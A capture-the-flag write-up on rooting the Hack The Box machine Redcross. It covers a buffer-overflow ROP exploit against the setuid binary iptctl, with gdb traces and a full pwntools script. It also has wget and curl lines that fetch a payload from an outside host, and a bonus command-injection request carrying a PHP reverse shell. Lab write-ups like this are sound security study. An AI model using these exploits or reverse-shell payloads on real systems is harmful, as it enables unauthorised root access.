Warmup post about the alternative way of rooting the Redcross box.

Target binary:

iptctl: setuid, setgid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, not stripped
> source was also available on the host: /var/jail/home/public/src/iptctl.c

Ideally we could easily reach the vulnerable part of the code:

if(argc==2){
    if(strstr(argv[1],"-i")) interactive(inputAddress, inputAction, argv[0]);
    }
    else{
        strcpy(inputAction, argv[1]);
        strcpy(inputAddress, argv[2]);
}

..but let’s pick the other way.

recon

The interactive() function looks interesting:

void interactive(char *ip, char *action, char *name){
    char inputAddress[16];
    char inputAction[10];
    printf("Entering interactive mode\n");
    printf("Action(allow|restrict|show): ");
    fgets(inputAction,BUFFSIZE,stdin);
    fflush(stdin);
    printf("IP address: ");
    fgets(inputAddress,BUFFSIZE,stdin);
    fflush(stdin);
    inputAddress[strlen(inputAddress)-1] = 0;
    if(! isValidAction(inputAction) || ! isValidIpAddress(inputAddress)){
        printf("Usage: %s allow|restrict|show IP\n", name);
        exit(0);
    }
    strcpy(ip, inputAddress);
    strcpy(action, inputAction);
    return;
}

Fortunately, the strstr() was used to validate the action:

int isValidIpAddress(char *ipAddress)
{
    struct sockaddr_in sa;
    int result = inet_pton(AF_INET, ipAddress, &(sa.sin_addr));
    return result != 0;
}
int isValidAction(char *action){
    int a=0;
    char value[10];
    strncpy(value,action,9);
    if(strstr(value,"allow")) a=1;
    if(strstr(value,"restrict")) a=2;
    if(strstr(value,"show")) a=3;
    return a;
}

also, it seems that we have a freebie from the chall author (let’s keep it in mind for later):

if(child_pid==0){
    setuid(0);
    execvp(args[0],args);
    exit(0);
}

bypassing aslr & nx

We can quickly try the PoC and attempt to crash the binary:

penelope@redcross:~$ python -c 'print "allow" + "A"*29 + "\n"  + "127.0.0.1"' | /opt/iptctl/iptctl -i
Entering interactive mode
Segmentation fault

The idea is very simple: craft payload which will bypass the initial checks (valid action and valid ip address) and then ROP using the freebies that are already in the code.

gef➤  checksec
[+] checksec for '/home/vagrant/share/iptctl'
Canary                        : No
NX                            : Yes
PIE                           : No
Fortify                       : No
RelRO                         : Partial

penelope@redcross:~$ cat /proc/sys/kernel/randomize_va_space 
2

We are dealing with 64bit binary, stack is not executable and ASLR is on.
Luckily, the binary was compiled without PIE enabled, which will prove to be very useful later on.

I’ve started with copying the binary to my local vm (Ubuntu 18.04); at this point I didn’t care too much about the libc on the target machine. Let’s replicate the PoC in the gdb:

gef➤  disass interactive
(..)
   0x0000000000400b44 <+245>:   call   0x4006f0 <strcpy@plt>
   0x0000000000400b49 <+250>:   lea    rdx,[rbp-0x1a]
   0x0000000000400b4d <+254>:   mov    rax,QWORD PTR [rbp-0x30]
   0x0000000000400b51 <+258>:   mov    rsi,rdx
   0x0000000000400b54 <+261>:   mov    rdi,rax
   0x0000000000400b57 <+264>:   call   0x4006f0 <strcpy@plt>
   0x0000000000400b5c <+269>:   nop
   0x0000000000400b5d <+270>:   leave  
   0x0000000000400b5e <+271>:   ret    
End of assembler dump.
gef➤  b * interactive+271
Breakpoint 1 at 0x400b5e
gef➤  r -i < <(python -c 'from pwn import *; print "allow" + "A"*29 + p64(0xdeadbeef) + "\n"  + "127.0.0.1"')
(..)
────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "iptctl", stopped, reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400b5e → interactive()
───────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  x/gx $rsp
0x7fffffffe378: 0x00000000deadbeef
gef➤  c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x00000000deadbeef in ?? ()

We have full control over rip register.

We already know that binary contains useful functions such as setuid() and execvp() and it’s not Position Independed Executable (PIE) - what does it mean for us?

In my vm I’ve compiled two versions, with and without PIE enabled:

$ gcc -pie -fpie -o iptctl-pie iptctl.c 
$ gcc -no-pie -fno-pie -o iptctl-nopie iptctl.c 

nopie version gives the actual runtime load address of the main() function, whereas, PIE enabled one returns the offset:

$ readelf -s ./iptctl-nopie | grep main       
     7: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.2.5 (2)
    60: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@@GLIBC_
    75: 0000000000400c6c   650 FUNC    GLOBAL DEFAULT   14 main
$ readelf -s ./iptctl-pie | grep main 
     9: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.2.5 (2)
    60: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@@GLIBC_
    75: 0000000000000ed6   670 FUNC    GLOBAL DEFAULT   14 main

and at runtime:

$ gdb -batch -nh -ex 'set disable-randomization off' -ex 'start' -ex 'x main' ./iptctl    
Temporary breakpoint 1 at 0x400b63

Temporary breakpoint 1, 0x0000000000400b63 in main ()
0x400b5f <main>:    0xe5894855 

$ gdb -batch -nh -ex 'set disable-randomization off' -ex 'start' -ex 'x main' ./iptctl   
Temporary breakpoint 1 at 0x400b63

Temporary breakpoint 1, 0x0000000000400b63 in main ()
0x400b5f <main>:    0xe5894855 

# PIE Enabled

$ gdb -batch -nh -ex 'set disable-randomization off' -ex 'start' -ex 'x main' ./iptctl-pie
Temporary breakpoint 1 at 0xeda

Temporary breakpoint 1, 0x00005591231a5eda in main ()
0x5591231a5ed6 <main>:  0xe5894855 

$ gdb -batch -nh -ex 'set disable-randomization off' -ex 'start' -ex 'info proc map' -ex 'x main' ./iptctl-pie
Temporary breakpoint 1 at 0xeda

Temporary breakpoint 1, 0x000055c295cdeeda in main ()
process 3735
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
      0x55c295cde000     0x55c295ce0000     0x2000        0x0 /tmp/iptctl-pie
      0x55c295edf000     0x55c295ee0000     0x1000     0x1000 /tmp/iptctl-pie
      0x55c295ee0000     0x55c295ee1000     0x1000     0x2000 /tmp/iptctl-pie
      0x7f082a4ab000     0x7f082a66b000   0x1c0000        0x0 /lib/x86_64-linux-gnu/libc-2.23.so
      0x7f082a66b000     0x7f082a86b000   0x200000   0x1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
      0x7f082a86b000     0x7f082a86f000     0x4000   0x1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
      0x7f082a86f000     0x7f082a871000     0x2000   0x1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
      0x7f082a871000     0x7f082a875000     0x4000        0x0 
      0x7f082a875000     0x7f082a89b000    0x26000        0x0 /lib/x86_64-linux-gnu/ld-2.23.so
      0x7f082aa86000     0x7f082aa89000     0x3000        0x0 
      0x7f082aa9a000     0x7f082aa9b000     0x1000    0x25000 /lib/x86_64-linux-gnu/ld-2.23.so
      0x7f082aa9b000     0x7f082aa9c000     0x1000    0x26000 /lib/x86_64-linux-gnu/ld-2.23.so
      0x7f082aa9c000     0x7f082aa9d000     0x1000        0x0 
      0x7fff83cf3000     0x7fff83d14000    0x21000        0x0 [stack]
      0x7fff83daf000     0x7fff83db2000     0x3000        0x0 [vvar]
      0x7fff83db2000     0x7fff83db4000     0x2000        0x0 [vdso]
  0xffffffffff600000 0xffffffffff601000     0x1000        0x0 [vsyscall]

0x55c295cdeed6 <main>:  0xe5894855

$ printf "0x%x\n" $((0x55c295cde000+0xed6))
0x55c295cdeed6

.. which basically means that on runtime PIE compiled binary randomises the program data and executable memory of the binary making return oriented programming attacks more difficult but not impossible (offset2lib1).

at runtime main() would be @ randomised binary base address + offset

Luckily for us, addresses of the setuid() and execve() will be static on each execution.

0x0000000000400d00 <+417>:   call   0x400780 <setuid@plt>
0x0000000000400d05 <+422>:   mov    rax,QWORD PTR [rbp-0x80]
0x0000000000400d09 <+426>:   lea    rdx,[rbp-0x80]
0x0000000000400d0d <+430>:   mov    rsi,rdx
0x0000000000400d10 <+433>:   mov    rdi,rax
0x0000000000400d13 <+436>:   call   0x400760 <execvp@plt>

What is more, binary itself contains 'sh' string:

gef➤  search-pattern "sh"
[+] Searching 'sh' in memory
[+] In '/home/vagrant/share/iptctl'(0x400000-0x402000), permission=r-x
  0x40046e - 0x400470  →   "sh" 

gef➤  x/s 0x40046e
0x40046e:   "sh"

We don’t care about the libc on the target system, we have all that we need to perform:

setuid(0)
execvp("sh",NULL)

basic rop chain

To achieve that, we will need a few gadgets. Knowing the calling convention for x64 let’s start with jumping to setuid(0) > We need to control rdi and rsi registers to perform our setuid()+execvp()
> x64 calling convention:
>    rdi - 1st argument
>    rsi - 2nd
>    (..)

# Let's look for the gadgets using ropper:
gef➤  ropper --search 'pop r?i'
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop r?i

[INFO] File: /home/vagrant/share/iptctl
0x0000000000400de3: pop rdi; ret; 
0x0000000000400de1: pop rsi; pop r15; ret; 

# setuid(0):
payload = ''
payload += [pop rdi; ret]
payload += [0]
payload += [setuid]

# execvp("sh",NULL):
payload += [pop rdi; ret]
payload += ["sh" addr]
payload += [pop rsi; pop r15; ret] 
payload += [NULL]
payload += [NULL]
payload += [execvp]

gef➤  b * 0x400780 # setuid()
Breakpoint 2 at 0x400780
gef➤  b * interactive+271
Breakpoint 3 at 0x400b5e
gef➤  r -i < <(python -c 'from pwn import *; print "allow" + "A"*29 + p64(0x400de3) + p64(0) + p64(0x400780) + "\n"  + "127.0.0.1"')

The interactive() function will return and hit our gadget, the rdi register will be set to 0 and then we will jump to the setuid():

 →   0x400b5e <interactive+271> ret    
   ↳    0x400de3 <__libc_csu_init+99> pop    rdi
        0x400de4 <__libc_csu_init+100> ret    
        0x400de5                  nop    
        0x400de6                  nop    WORD PTR cs:[rax+rax*1+0x0]
        0x400df0 <__libc_csu_fini+0> repz   ret
        0x400df2                  add    BYTE PTR [rax], al
───────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "iptctl", stopped, reason: BREAKPOINT
─────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400b5e → interactive()
[#1] 0x400de3 → __libc_csu_init()
[#2] 0x400780 → exit@plt()
──────────────────────────────────────────────────────────────────────────────────────
gef➤  x/3gx $rsp
0x7fffffffe378: 0x0000000000400de3  0x0000000000000000
0x7fffffffe388: 0x0000000000400780
gef➤ c

(..)

 →   0x400780 <setuid@plt+0>   jmp    QWORD PTR [rip+0x2018e2]        # 0x602068
     0x400786 <setuid@plt+6>   push   0xa
     0x40078b <setuid@plt+11>  jmp    0x4006d0
     0x400790 <fork@plt+0>     jmp    QWORD PTR [rip+0x2018da]        # 0x602070
     0x400796 <fork@plt+6>     push   0xb
     0x40079b <fork@plt+11>    jmp    0x4006d0
───────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "iptctl", stopped, reason: BREAKPOINT
─────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400780 → setuid@plt()
──────────────────────────────────────────────────────────────────────────────────────
gef➤  p $rdi
$1 = 0x0

We are successfully calling setuid(0) - what is left is to properlly call the execvp('sh',NULL) function:

gef➤  b * 0x400780
Breakpoint 1 at 0x400780
gef➤  b * interactive+271
Breakpoint 2 at 0x400b5e
gef➤  r -i < <(python -c 'from pwn import *; print "allow" + "A"*29 + p64(0x400de3) + 
p64(0) + p64(0x400780) + p64(0x400de3) + p64(0x40046e) + p64(0x400de1) + p64(0) + p64(0) + p64(0x400760) + "\n"  + "127.0.0.1"')
(..)
 →   0x400760 <execvp@plt+0>   jmp    QWORD PTR [rip+0x2018f2]        # 0x602058
     0x400766 <execvp@plt+6>   push   0x8
     0x40076b <execvp@plt+11>  jmp    0x4006d0
     0x400770 <exit@plt+0>     jmp    QWORD PTR [rip+0x2018ea]        # 0x602060
     0x400776 <exit@plt+6>     push   0x9
     0x40077b <exit@plt+11>    jmp    0x4006d0
───────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "iptctl", stopped, reason: BREAKPOINT
─────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400760 → execvp@plt()
──────────────────────────────────────────────────────────────────────────────────────────────
gef➤  x/s $rdi
0x40046e:   "sh"
gef➤  i r $rsi
rsi            0x0  0x0
gef➤  c
Continuing.
process 3876 is executing new program: /bin/dash

Simple PoC:

# HTB Redcross local root exploit :: adamm
from pwn import *

e = ELF('./iptctl', checksec=False)

setuid = e.plt['setuid']
execvp = e.plt['execvp']
sh = 0x40046e

p = process(['./iptctl','-i'])

info("setuid.plt @ %s" % hex(setuid))
info("execvp.plt @ %s" % hex(execvp))
info("'sh' @ %s" % hex(sh))

payload = "allow"
payload += "A"*29

# setuid(0)
payload += p64(0x400de3) # pop rdi; ret
payload += p64(0)
payload += p64(setuid)

# execvp("sh",NULL)
payload += p64(0x400de3) # pop rdi; ret
payload += p64(sh) # 'sh' string from the binary
payload += p64(0x400de1) # pop rsi; pop r15; ret
payload += p64(0) # rsi
payload += p64(0) # r15
payload += p64(execvp)

# no pwnlib on remote host, generate payload on your box
f = open("/tmp/payload","w")
f.write(payload+"\n127.0.0.1\n")
f.close()

info("payload written to '/tmp/payload'")

p.sendline(payload)
p.recv()
p.sendline("127.0.0.1") # trigger
p.interactive()

PoC in the vm:

[~/share]$ python exploit.py
[+] Starting local process '/tmp/iptctl': pid 3779
[*] setuid.plt @ 0x400780
[*] execvp.plt @ 0x400760
[*] 'sh' @ 0x40046e
[*] payload written to '/tmp/payload'
[*] Switching to interactive mode
$ id
uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant),123(docker)
$ 

Let’s test it against the target binary:

penelope@redcross:~$ /opt/iptctl/iptctl -i < <(wget -q -O- http://10.10.14.20:8000/p; cat)
Entering interactive mode
whoami
root
cat /root/root.txt
892a1f(..)

bonus

There was unintended command injection vulnerability in the admin panel:

POST /pages/actions.php HTTP/1.1
Host: admin.redcross.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://admin.redcross.htb/?page=firewall
Content-Type: application/x-www-form-urlencoded
Content-Length: 321
Cookie: PHPSESSID=hk6c2h5tqrdp820tjs4juimti1
Connection: close
Upgrade-Insecure-Requests: 1

ip=127.0.0.1%26php+-r+'$sock%3dfsockopen("10.10.14.11",4444)%3bexec("/bin/sh+-i+<%263+>%263+2>%263")%3b';AAAAAAAA&id=12&action=deny

So in fact, we could get root shell directly from www-data

Ncat: Connection from 10.10.10.113:41000.
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ (curl http://10.10.14.20:8000/p 2>/dev/null; cat) | /opt/iptctl/iptctl -i
id
uid=0(root) gid=33(www-data) egid=0(root) groups=0(root),33(www-data)
cat /root/root.txt
892a1f(..)


That’s it! Thanks for reading.